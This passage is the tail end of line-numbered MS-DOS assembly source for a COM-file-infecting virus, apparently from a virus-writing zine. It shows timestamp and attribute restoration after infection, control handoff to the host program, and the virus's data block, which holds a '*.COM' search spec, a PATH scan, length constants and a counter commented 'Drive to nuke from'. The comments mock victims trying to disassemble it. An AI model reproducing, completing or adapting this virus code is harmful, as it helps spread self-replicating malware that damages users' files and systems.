  956.         INT     21H
  957.  
  958. fix_time_stamp:
  959.         MOV     DX,[SI+ol_date]
  960.         MOV     CX,[SI+old_tim]
  961.         AND     CX,OFFSET 0FFE0H
  962.         OR      CX,1EH
  963.         MOV     AX,OFFSET 5701H
  964.         INT     21H
  965.         MOV     AH,3EH
  966.         INT     21H
  967.  
  968. fix_attr:
  969.         MOV     AX,OFFSET 4301H
  970.         MOV     CX,[SI+old_att]
  971.         MOV     DX,wrk_spc
  972.         ADD     DX,SI
  973.         INT     21H
  974.  
  975. all_done:
  976.         PUSH    DS
  977.         MOV     AH,1AH
  978.         MOV     DX,[SI+old_dta]
  979.         MOV     DS,[SI+old_dts]
  980.         INT     21H
  981.         POP     DS
  982.  
  983. quit:
  984.         POP     CX
  985.         XOR     AX,AX            ;XOR values so that we will give the
  986.         XOR     BX,BX            ;poor sucker a hard time trying to
  987.         XOR     DX,DX            ;reassemble the source code if he
  988.         XOR     SI,SI            ;decides to dissassemble us.
  989.         MOV     DI,OFFSET 0100H
  990.         PUSH    DI
  991.         XOR     DI,DI
  992.         RET     0FFFFH            ;Return back to the beginning
  993.                     ;of the program
  994.  
  995. vir_dat EQU     $
  996.  
  997. intro    db    '.D$^i*&B)_a.%R',13,10
  998. olddta_ DW      0
  999. olddts_ DW      0
  1000. oldtim_ DW      0
  1001. count_    DW    0
  1002. cntr     DB     2                ; Drive to nuke from (C:+++)
  1003. oldate_ DW      0
  1004. oldatt_ DW      0
  1005. first3_ EQU     $
  1006.         INT     20H
  1007.         NOP
  1008. jmpop_  DB      0E9H
  1009. jmpdsp_ DW      0
  1010. fspec_  DB      '*.COM',0
  1011. pathad_ DW      0
  1012. namptr_ DW      0
  1013. envstr_ DB      'PATH='
  1014. wrkspc_ DB      40h dup (0)
  1015. dta_    DB      16h dup (0)
  1016. dtatim_ DW      0,0
  1017. dtalen_ DW      0,0
  1018. dtanam_ DB      0Dh dup (0)
  1019. lst_byt EQU     $
  1020. virlen  =       lst_byt - v_start
  1021. codelen =       vir_dat - v_start
  1022. c_len_x =       vir_dat - v_start - 2
  1023. c_len_y =       vir_dat - v_start + 100H
  1024. old_dta =       olddta_ - vir_dat
  1025. old_dts =       olddts_ - vir_dat
  1026. old_tim =       oldtim_ - vir_dat
  1027. ol_date =       oldate_ - vir_dat
  1028. old_att =       oldatt_ - vir_dat
  1029. first_3 =       first3_ - vir_dat
  1030. jmp_op  =       jmpop_  - vir_dat
  1031. jmp_dsp =       jmpdsp_ - vir_dat
  1032. f_spec  =       fspec_  - vir_dat
  1033. path_ad =       pathad_ - vir_dat
  1034. nam_ptr =       namptr_ - vir_dat
  1035. env_str =       envstr_ - vir_dat
  1036. wrk_spc =       wrkspc_ - vir_dat
  1037. dta     =       dta_    - vir_dat
  1038. dta_tim =       dtatim_ - vir_dat
  1039. dta_len =       dtalen_ - vir_dat
  1040. dta_nam =       dtanam_ - vir_dat
  1041. count     =    count_  - vir_dat
  1042.  
  1043.         CODE    ENDS
  1044. END     VCODE
  1045.  
  1046. ------------------------------------------------------------------------------
  1047.                                                                         HR
  1048.